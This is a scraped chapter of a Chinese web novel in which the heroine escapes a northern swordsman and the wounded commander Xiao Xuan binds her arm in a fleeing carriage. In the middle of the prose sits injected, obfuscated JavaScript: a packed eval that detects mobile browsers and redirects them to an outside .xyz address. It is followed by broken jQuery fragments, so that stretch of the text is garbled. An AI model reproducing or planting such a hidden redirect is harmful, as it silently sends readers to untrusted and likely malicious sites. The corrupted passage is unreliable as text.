第一百二十三章 受伤上药

作品:《全家忘恩负义,她转身傍上督主起飞了

    角门已然在望,门外似乎有马车轮廓。


    就在她即将冲出角门的瞬间,一道黑影如同巨塔般挡在门前,手中弯刀带着凄冷的寒光,直劈而下。


    正是留守的一名北疆高手!


    傅流萤瞳孔一缩,避无可避。


    千钧一发之际,一道玄色身影如同撕裂夜色的闪电,骤然从侧边冲出。


    “锵……”


    刺耳的金铁交鸣之声爆响!


    萧玹手持一柄剑,精准挡住那把弯刀,瞬间火星四溅。


    他的脸色似乎更白了一分,但眼神却冰冷锐利如鹰隼,手腕一震,一股阴寒霸道的内力透过刀身汹涌而出。


    那北疆高手被震得踉跄后退一步,眼中闪过惊疑之色。


    “走!”萧玹低喝一声,一把抓住傅流萤未受伤的手臂,力道之大,几乎捏碎她的骨头,猛地将她甩向门外等候的马车!


    傅流借力一跃,稳稳落在了马车上。


    几乎同时,萧玹与那北疆高手再次交锋,借着反震之力,他的身形如流星般倒射而出,紧随其后掠入马车!


    “驾!”车夫毫不犹豫,猛抽马鞭,马车如同离弦之箭,疾驰而去,瞬间将身后的喊杀声和怒吼声落在了后面。


    车厢内,光线昏暗,急促的喘息声清晰可闻。


    傅流萤靠在车壁上,捂着受伤的手臂,指缝间有鲜血渗出。


    方才情势危急尚不觉得,此刻松懈下来,才感到火辣辣的疼痛。


    萧玹的情况似乎更糟。


    他方才强行与那北疆高手对拼,显然牵动了旧伤,此刻脸色苍白如纸,唇边甚至溢出了一丝暗红的血迹。


    他靠在另一边车壁,闭着眼,眉头紧蹙,似乎在极力压制着什么。


    马车颠簸着,两人相对无言,空气中弥漫着血腥味,冷冽的沉香以及一种劫后余生的紧张感。


    许久,萧玹才缓缓睁开眼,目光落在傅流萤渗血的手臂上,眸色深沉。


    “受伤了?”他的声音有些沙哑,带着一丝不易察觉的……紧张?


    “小伤,无碍。”傅流萤淡淡道,试图将手臂往后藏了藏。


    比起他毒发和内伤的风险,她这点皮肉伤确实不算什么。


    萧玹却忽然伸出手,不由分说地抓住了她的手腕,将她的手臂拉了过来。


    他的手指冰凉刺骨,力道却大得惊人,不容她挣脱。


    “督主?”傅流萤蹙眉。


    “别动。”萧玹的声音低沉强硬,另一只手不知从何处又拿出一个白瓷小瓶,这次里面是碧绿色的药膏。


    “北疆的**箭恐有不净,不想废了胳膊就老实点。”


    他语气很冲,动作却异常专注。


    他小心翼翼地撕开她被划破的衣袖,露出那道寸许长的伤口。


    **箭擦伤,伤口不深,但皮肉翻卷,看着有些狰狞。


    “还好,没下毒。”萧玹冷冷的开口,声音带着一丝不易察觉的轻颤。


    她挖出碧绿色的药膏,仔细地涂抹在伤处。


    药膏清亮,带来一阵舒适的凉意,瞬间压下了火辣辣的疼痛。


    傅流萤能清晰地看到他低垂的眼睫,挺直鼻梁上细微的汗珠,以及紧抿的毫无血色的薄唇。


    他靠得很近,那冷冽的沉香气息混合着极淡的血腥味,几乎将她完全笼罩。


    傅流萤的心跳,再次不争气地失去了平稳的节奏。


    车厢空间狭小,颠簸之中,两人的膝盖不时碰到一起。每一次不经意的接触,都像是有微小的电流窜过,让空气变得更加粘稠而暧昧。


    “只是让你去窃参,谁让你与北疆高手硬碰硬了?”萧玹忽然开口,语气带着一丝愠怒和冰冷,“若不是本督及时赶到……”


    “若非督主在外制造混乱,引开部分守卫,流萤恐怕难以脱身。”傅流萤打断他,眸色愈发深邃。


    “只是没想到,珍宝阁竟是疑阵,血参并不在其中。北疆人,比想象中更狡猾。”她方才潜入时,已凭借过人嗅觉和观察,察觉那所谓的珍宝阁药气虽浓,却没有血参的味道,可见血参并不在珍宝阁。


    萧玹手上动作一顿,抬眸看她,眼神锐利而复杂,“你竟还有心思想这个?”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16226376|177191||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    他以为她方才只顾着逃命。


    “本能而已。”傅流萤垂下眼眸,“督主的情报……似乎也并非万无一失。”


    萧玹冷哼一声,手下涂抹药膏的动作微微用力,惹得傅流萤轻轻吸了口凉气。


    “嘶……”


    “知道疼就好。”萧玹语气恶劣,但手上的力道却下意识地放轻了许多。


    他拿出干净的绷带,开始为她包扎。


    他的动作依旧算不上熟练,甚至有些笨拙,一圈一圈,缠绕得格外认真。


    两人都不再说话,车厢内只剩下彼此略显急促的呼吸声和布料摩擦的窸窣声。


    昏暗的光线下,他的侧脸轮廓显得有些柔和,那专注的神情,冲淡了平日里的冰冷和戾气。


    傅流萤看着他被汗水微微浸湿的额发,看着他为自己包扎时那微微蹙起的眉头,心中某个角落,似乎悄然松动了一下。


    这个男人,冷酷,霸道,喜怒无常,手段狠辣,可此刻……却又流露出一种近乎笨拙的关心。


    或许,他求皇帝赐婚的背后,也并非全然是冰冷算计。


    终于,萧玹包扎好了,虽然结打得有些难看,但还算稳妥。


    他松开傅流萤的手,靠回车厢壁,似乎耗尽了力气,脸色比刚才更加难看,唇边的血迹愈发明显。


    “督主……”傅流萤注意到他的异常,下意识地开口。


    萧玹闭着眼,摆了摆手,声音低哑,“无妨……**病了。”他似乎在极力忍受着巨大的痛苦,额角有青筋隐现。


    傅流萤抿了抿唇,犹豫片刻,还是从怀中取出一个极其小巧的玉瓶,递到他面前。


    “这是……”萧玹睁开眼,疑惑地看着她。


    “凝碧丹。”傅流萤语气平静,“我闲暇时炼制的,虽不能解毒,但能暂时压制阴寒剧痛,固护心脉。督主若信得过,或可一试。”


    萧玹目光幽深地看了她片刻,忽然唇角扯出一抹极淡的意味不明的弧度,“傅大小姐给的药,本督哪有不信之理?”


    他接过玉瓶,毫不犹豫地倒出一粒碧莹莹的药丸,吞服下去。